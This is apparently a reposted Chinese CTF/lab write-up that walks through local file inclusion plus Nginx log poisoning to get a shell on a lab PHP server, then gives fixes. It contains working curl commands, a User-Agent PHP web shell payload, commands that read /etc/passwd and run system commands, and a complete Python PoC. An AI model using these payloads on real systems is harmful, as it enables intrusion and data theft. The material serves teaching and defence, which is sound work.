AI渗透测试—LFI+LogPoisoning从信息收集到GetShell全流程详解

admin 2026-06-12 05:09:27 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析了利用本地文件包含漏洞与Nginx日志投毒技术实现从信息收集到GetShell的完整渗透测试流程。通过探测目标环境、确认LFI漏洞、污染服务器日志并触发代码执行,最终成功读取flag文件。文章提供了完整的PoC脚本和漏洞修复方案,强调白名单校验和服务器安全配置的重要性。 综合评分: 92 文章分类: 渗透测试,WEB安全,漏洞分析,实战经验,CTF


cover_image

AI渗透测试 — LFI + Log Poisoning 从信息收集到 GetShell 全流程详解

原创

yushao yushao

网络安全者

2026年6月9日 10:38 河南

在小说阅读器读本章

去阅读

#


一、概要

| 项目 | 内容 | | — | — | | 测试类型 | CTF 渗透测试练习(靶场环境) | | 漏洞类型 | 本地文件包含(LFI)+ 日志投毒(Log Poisoning) | | 影响组件 | PHP include() / Nginx access.log | | 危害等级 | 高危(可导致远程代码执行) | | 测试环境 | 靶场靶机(隔离环境) |


二、漏洞原理

用户输入 → include($_GET['file']) → 包含任意文件
              ↓
攻击者向服务器发请求,User-Agent 携带 PHP 代码
              ↓
Nginx/Apache 将请求原文记录进 access.log
              ↓
通过 LFI 包含 access.log → PHP 引擎解析执行日志中的代码

核心条件

  1. 1. 存在未过滤或过滤不完整的文件包含入口
  2. 2. Web 服务器日志文件对 Web 用户可读
  3. 3. 攻击者能控制被记录进日志的字段(如 User-Agent、URI 等)

三、侦察阶段

3.1 目标指纹识别

# 基础页面探测
curl -s http://target.lab/ | grep -i title
# 输出: <title>PHP LFI/RFI Code Executor</title>

# 确认 HTTP 服务类型
curl -I http://target.lab/
# Server: nginx/1.xx.x
# X-Powered-By: PHP/7.x.x

页面存在一个 file 参数的表单,提示用户输入要包含的文件路径,功能上就是对 PHP include() 的封装。

3.2 确认 LFI 漏洞

# 测试最基础的路径穿越
curl -s&nbsp;"http://target.lab/?file=/etc/passwd"

# 输出片段(已脱敏):
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# ...

LFI 确认存在。

3.3 PHP 伪协议过滤测试

# 尝试 php://filter 读取源码 → 被过滤
curl -s&nbsp;"http://target.lab/?file=php://filter/convert.base64-encode/resource=index.php"
# 输出: 非法路径 / 空响应

# 尝试 data:// → 被过滤
curl -s&nbsp;"http://target.lab/?file=data://text/plain,<?php phpinfo();?>"
# 输出: 非法路径

# 尝试 /proc/self/environ
curl -s&nbsp;"http://target.lab/?file=/proc/self/environ"
# 输出: 内容为空或权限拒绝

php:// 和 data:// 均被黑名单过滤,转向日志投毒思路。


四、信息收集

4.1 探测日志文件位置

# 常见 Apache 日志路径
curl -s&nbsp;"http://target.lab/?file=/var/log/apache2/access.log"
# 输出: 空

curl -s&nbsp;"http://target.lab/?file=/var/log/apache/access.log"
# 输出: 空

# Nginx 日志路径 → 命中
curl -s&nbsp;"http://target.lab/?file=/var/log/nginx/access.log"
# 输出: 127.0.0.1 - - [xx/xx/xxxx] "GET / HTTP/1.1" 200 ...

日志可读,路径确认为 /var/log/nginx/access.log

4.2 读取 PHP 配置

# 包含 phpinfo 输出(通过已有 phpinfo 页面或其他方式)
curl -s&nbsp;"http://target.lab/?file=/etc/php/7.x/fpm/php.ini"&nbsp;| grep -E&nbsp;"allow_url|disable_func|session"

# 关键配置项:
# allow_url_include = On &nbsp; &nbsp; ← 允许远程包含(但 php:// 被应用层过滤)
# disable_functions = &nbsp; &nbsp; &nbsp; &nbsp;← 无函数禁用,system/exec 均可用
# session.upload_progress.enabled = On

4.3 确认目标文件存在

curl -s&nbsp;"http://target.lab/?file=/var/www/html/flag.php"
# 输出: 空(PHP 执行了 flag.php,但文件中只赋值了变量,没有 echo)

flag.php 存在且被 PHP 解析执行,但内容只是变量赋值,无输出。需要借助代码执行来读取其内容。


五、漏洞利用

5.1 日志投毒(Log Poisoning)

Nginx 的 access.log 默认格式包含 User-Agent 字段,且原文记录,不做任何过滤或转义。

# 向服务器发送请求,User-Agent 携带 PHP Webshell payload
# 注意:<? 在 URL/HTTP 中需确保原文传输,不能被 URL 编码
curl -s http://target.lab/ \
&nbsp; -A&nbsp;'<?php system($_GET["cmd"]); ?>'

# 验证日志已被污染
curl -s&nbsp;"http://target.lab/?file=/var/log/nginx/access.log"&nbsp;|&nbsp;tail&nbsp;-5
# 输出片段:
# 127.0.0.1 - - [xx/xx] "GET / HTTP/1.1" 200 - "<?php system($_GET["cmd"]); ?>"

PHP 代码已原文写入日志文件。

关键原理:Nginx 不解析 User-Agent,直接将其字节流写入日志,而 PHP 的 include() 会把日志文件当作 PHP 源码解析,遇到 <?php ... ?> 标签就执行。

5.2 通过 LFI 触发代码执行

# 包含已被投毒的日志,同时传入 cmd 参数
curl -s&nbsp;"http://target.lab/?file=/var/log/nginx/access.log&cmd=id"

# 输出片段(夹杂在日志内容中):
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

代码执行成功,当前权限为 www-data

5.3 读取 flag 文件内容

# 方法一:直接 cat flag.php(可能遇到 PHP 标签干扰)
curl -s&nbsp;"http://target.lab/?file=/var/log/nginx/access.log&cmd=cat+/var/www/html/flag.php"

# 输出(PHP 标签被执行,变量值无法直接显示):
# 执行了但无输出

# 方法二:用 base64 编码绕过 PHP 解析
curl -s&nbsp;"http://target.lab/?file=/var/log/nginx/access.log&cmd=base64+/var/www/html/flag.php"
# 输出: PD9waHAKCiRmbGFnID0gIkNURntwxxxxxxx
echo&nbsp;"PD9waHAKCiRmbGFnID0gIkNURntwxxxxxxx"&nbsp;|&nbsp;base64&nbsp;-d
# 解码结果:
# <?php
#
# $flag = "CTF{php_access_l0g_lf1_is_fun}";

5.4 完整攻击链代码(PoC 脚本)

#!/usr/bin/env python3
"""
LFI + Log Poisoning PoC
仅用于授权的安全测试和 CTF 练习环境
"""

import&nbsp;requests
import&nbsp;base64

TARGET =&nbsp;"http://target.lab"&nbsp;&nbsp;# 替换为实际靶机地址
LOG_PATH =&nbsp;"/var/log/nginx/access.log"
FLAG_FILE =&nbsp;"/var/www/html/flag.php"

session = requests.Session()

# ── Step 1: 污染日志 ──────────────────────────────────────────
print("[*] Step 1: 注入恶意 User-Agent 污染 Nginx 日志...")
payload_ua =&nbsp;"<?php system($_GET['cmd']); ?>"
resp = session.get(TARGET, headers={"User-Agent": payload_ua})
print(f" &nbsp; &nbsp;状态码:&nbsp;{resp.status_code}")

# ── Step 2: 验证代码执行 ──────────────────────────────────────
print("[*] Step 2: 通过 LFI 包含日志,验证 RCE...")
resp = session.get(TARGET, params={
&nbsp; &nbsp;&nbsp;"file": LOG_PATH,
&nbsp; &nbsp;&nbsp;"cmd":&nbsp;"id"
})
# 从响应中提取命令输出(夹杂在日志内容里)
if&nbsp;"uid="&nbsp;in&nbsp;resp.text:
&nbsp; &nbsp;&nbsp;# 简单提取 uid 行
&nbsp; &nbsp;&nbsp;for&nbsp;line&nbsp;in&nbsp;resp.text.splitlines():
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;"uid="&nbsp;in&nbsp;line:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;命令执行成功:&nbsp;{line.strip()}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
else:
&nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;[!] 代码未执行,检查日志路径或 payload")
&nbsp; &nbsp; exit(1)

# ── Step 3: 读取 flag ─────────────────────────────────────────
print("[*] Step 3: base64 读取 flag.php 源码...")
resp = session.get(TARGET, params={
&nbsp; &nbsp;&nbsp;"file": LOG_PATH,
&nbsp; &nbsp;&nbsp;"cmd":&nbsp;f"base64&nbsp;{FLAG_FILE}"
})

# 提取 base64 字符串(过滤日志噪音)
b64_content =&nbsp;""
for&nbsp;line&nbsp;in&nbsp;resp.text.splitlines():
&nbsp; &nbsp;&nbsp;# base64 字符串特征:只含 A-Z a-z 0-9 +/= 且长度较长
&nbsp; &nbsp; stripped = line.strip()
&nbsp; &nbsp;&nbsp;if&nbsp;len(stripped) >&nbsp;20&nbsp;and&nbsp;all(
&nbsp; &nbsp; &nbsp; &nbsp; c&nbsp;in&nbsp;"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;stripped
&nbsp; &nbsp; ):
&nbsp; &nbsp; &nbsp; &nbsp; b64_content += stripped

if&nbsp;b64_content:
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; decoded = base64.b64decode(b64_content).decode("utf-8", errors="replace")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;flag.php 内容:\n{decoded}")
&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;base64 解码失败:&nbsp;{e}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;原始 b64:&nbsp;{b64_content[:100]}...")
else:
&nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;[!] 未提取到 base64 内容")

运行结果:

[*] Step 1: 注入恶意 User-Agent 污染 Nginx 日志...
&nbsp; &nbsp; 状态码: 200
[*] Step 2: 通过 LFI 包含日志,验证 RCE...
&nbsp; &nbsp; 命令执行成功: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Step 3: base64 读取 flag.php 源码...
&nbsp; &nbsp; flag.php 内容:
&nbsp; &nbsp; <?php

&nbsp; &nbsp; $flag = "CTF{php_access_l0g_lf1_**************}";

Flag 值已脱敏处理。


六、漏洞归因与修复建议

6.1 漏洞根因

┌─────────────────────────────────────────────────────┐
│ &nbsp;根因 1: include() 直接拼接用户输入,无白名单校验 &nbsp; &nbsp; &nbsp;│
│ &nbsp;根因 2: Nginx 日志对 Web 用户可读 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp;根因 3: PHP 解析 include 的文件时不区分数据和代码 &nbsp; &nbsp; │
└─────────────────────────────────────────────────────┘

6.2 修复方案

应用层(PHP 代码)

<?php
// ❌ 危险写法
$file&nbsp;=&nbsp;$_GET['file'];
include($file);

// ✅ 安全写法:白名单限制
$allowed&nbsp;= [
&nbsp; &nbsp;&nbsp;'home'&nbsp; &nbsp; =>&nbsp;'/var/www/html/pages/home.php',
&nbsp; &nbsp;&nbsp;'about'&nbsp; &nbsp;=>&nbsp;'/var/www/html/pages/about.php',
&nbsp; &nbsp;&nbsp;'contact'&nbsp;=>&nbsp;'/var/www/html/pages/contact.php',
];

$key&nbsp;=&nbsp;$_GET['page'] ??&nbsp;'home';
if&nbsp;(!array_key_exists($key,&nbsp;$allowed)) {
&nbsp; &nbsp;&nbsp;http_response_code(404);
&nbsp; &nbsp;&nbsp;exit('页面不存在');
}

include($allowed[$key]);

服务器配置层

; php.ini - 关闭危险配置
allow_url_include&nbsp;=&nbsp;Off
allow_url_fopen&nbsp; &nbsp;=&nbsp;Off

; 限制 PHP 可访问的目录
open_basedir&nbsp;= /var/www/html:/tmp
# nginx.conf - 限制日志文件访问权限
# 日志文件属主设为 root,www-data 无读权限
# 在系统层面执行:
# chown root:adm /var/log/nginx/access.log
# chmod 640 /var/log/nginx/access.log

文件系统层

# 确保 Web 进程用户无法读取日志
chown&nbsp;root:adm /var/log/nginx/access.log
chmod&nbsp;640 /var/log/nginx/access.log

# 验证 www-data 无法读取
sudo&nbsp;-u www-data&nbsp;cat&nbsp;/var/log/nginx/access.log
# 应输出: Permission denied

七、攻击链时序图

攻击者 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Web 服务器 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;文件系统
&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; │── GET / (恶意 UA) ────────►│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │── 写入 access.log ───────►│
&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; User-Agent: <?php ...?> │
&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; │── GET /?file=access.log ──►│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &cmd=id &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│── include(access.log) ──►│
&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │◄─ 文件内容(含 PHP 代码) ─│
&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │── PHP 引擎执行 system() &nbsp; │
&nbsp; │◄─ 命令执行结果 ────────────│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; │── GET /?file=access.log ──►│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &cmd=base64 flag &nbsp; │── include → 执行 base64 &nbsp;│
&nbsp; │◄─ flag.php base64 内容 ───│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│

八、总结

LFI + Log Poisoning 是一条经典的漏洞利用链,核心在于将”日志记录”这个看似无害的服务端行为转变为代码注入的入口。当 php://filter 等伪协议被过滤时,日志投毒往往是绕过的首选思路。

防御的关键不在于过滤 PHP 伪协议,而在于从根本上不允许用户控制 include() 的参数,同时严格限制 Web 进程对日志目录的读权限。两者缺一不可。

| | | | — | — | | | |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全者 yushao yushao《AI渗透测试 — LFI + Log Poisoning 从信息收集到 GetShell 全流程详解》

    评论:0   参与:  0